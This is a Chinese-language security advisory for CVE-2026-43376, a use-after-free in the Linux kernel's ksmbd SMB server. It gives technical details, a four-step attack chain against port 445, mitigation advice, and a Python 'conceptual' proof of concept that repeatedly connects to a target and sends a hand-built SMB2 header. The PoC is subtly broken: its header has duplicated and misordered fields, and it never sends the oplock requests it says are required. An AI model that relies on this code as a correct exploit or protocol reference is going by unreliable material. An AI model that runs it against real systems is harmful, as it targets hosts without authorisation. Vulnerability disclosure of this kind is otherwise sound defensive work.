IPBUF安全漏洞报告
English
CVE-2026-43376 CVSS 9.8 严重

CVE-2026-43376 Linux内核ksmbd释放后重用漏洞

披露日期: 2026-05-08
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43376
漏洞类型
释放后重用 (UAF)
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

UAFLinux KernelksmbdRCURemote Code ExecutionDoS

漏洞概述

Linux内核ksmbd模块存在释放后重用漏洞。该模块在释放oplock_info结构体时未遵循RCU机制,直接调用kfree()释放了正在被RCU读端临界区访问的内存。由于缺少宽限期,读端代码可能访问已释放内存。攻击者可利用此漏洞造成内核崩溃或提权,CVSS 9.8分,危害严重。

技术细节

漏洞发生于Linux内核的ksmbd驱动程序中,该驱动实现了SMB3文件服务器协议。在处理oplock(机会锁)信息时,代码使用了RCU(Read-Copy-Update)机制来保护并发访问,允许无锁读取。然而,oplock_info的释放逻辑存在严重缺陷:代码直接使用kfree()立即释放内存,而没有使用call_rcu()进行延迟释放。这导致在RCU读端临界区(如opinfo_get()函数和proc_show_files())仍在访问该结构体时,内存已被释放。特别是当atomic_inc_not_zero()操作作用于已释放的内存区域时,触发释放后重用(UAF)。鉴于该漏洞通过网络(AV:N)触发且无需认证(PR:N),远程未授权攻击者可利用此竞争条件导致系统崩溃(拒绝服务)或潜在的任意内核代码执行,控制目标主机。

攻击链分析

STEP 1
步骤1:侦察
攻击者扫描目标网络,寻找开启TCP 445端口(SMB服务)且运行带有ksmbd模块的Linux主机。
STEP 2
步骤2:建立连接
攻击者与目标SMB服务建立连接,并发送特制的SMB请求以触发oplock(机会锁)机制的调用。
STEP 3
步骤3:触发竞争条件
攻击者利用时序窗口,在ksmbd尝试释放oplock_info内存的同时,利用RCU读端临界区(如opinfo_get)尝试访问该内存。
STEP 4
步骤4:利用漏洞
由于kfree()未通过call_rcu()延迟释放,读端代码访问了已释放的内存,导致Use-After-Free。攻击者可利用此造成内核崩溃或执行任意代码。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-43376 (Conceptual) # This script demonstrates the network interaction required to trigger the ksmbd race condition. # Note: Exploiting UAF requires precise timing and racing against the kernel scheduler. import socket import struct import time TARGET_IP = "192.168.1.10" TARGET_PORT = 445 def send_smb_negotiate(sock): # Simplified SMB2 Negotiate Protocol Request header smb2_header = b'\x00\x00\x00\x00' # SessionId smb2_header += b'\xfe\x53\x4d\x42' # Protocol ID smb2_header += b'\x40\x00\x00\x00' # Structure Size (64) smb2_header += b'\x00\x00' # Credit Charge smb2_header += b'\x00\x00' # Status (0 for Success placeholder) smb2_header += b'\x00\x00' # Command (0x0000 = NEGOTIATE) smb2_header += b'\x00\x00' # Credits smb2_header += b'\x00\x00\x00\x00' # Flags smb2_header += b'\x00\x00\x00\x00' # NextCommand smb2_header += b'\x00\x00\x00\x00' # MessageId smb2_header += b'\x00\x00\x00\x00' # Reserved smb2_header += b'\x00\x00\x00\x00' # TreeConnectId smb2_header += b'\x00\x00\x00\x00' # SessionId smb2_header += b'\x01\x00' # Dialect Count (1) smb2_header += b'\x02\x02' # Security Mode smb2_header += b'\x00\x00' # Reserved smb2_header += b'\x00\x00\x00\x00' # Capabilities # In a real scenario, we would send a rapid sequence of oplock requests # and disconnects to race the kfree() vs RCU read-side access. try: sock.sendall(smb2_header) print("[+] Packet sent to trigger race condition.") except Exception as e: print(f"[-] Send error: {e}") try: # Rapidly connecting and disconnecting to stress oplock handling for i in range(100): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(1) s.connect((TARGET_IP, TARGET_PORT)) send_smb_negotiate(s) # Closing immediately might trigger the race in oplock cleanup s.close() time.sleep(0.01) except Exception as e: print(f"[-] Error: {e}")

影响范围

Linux Kernel(早于修复commit的版本)

防御指南

临时缓解措施
建议暂时禁用Linux内核中的ksmbd模块,或使用iptables/nftables限制对445端口的访问,直到应用安全补丁。

参考链接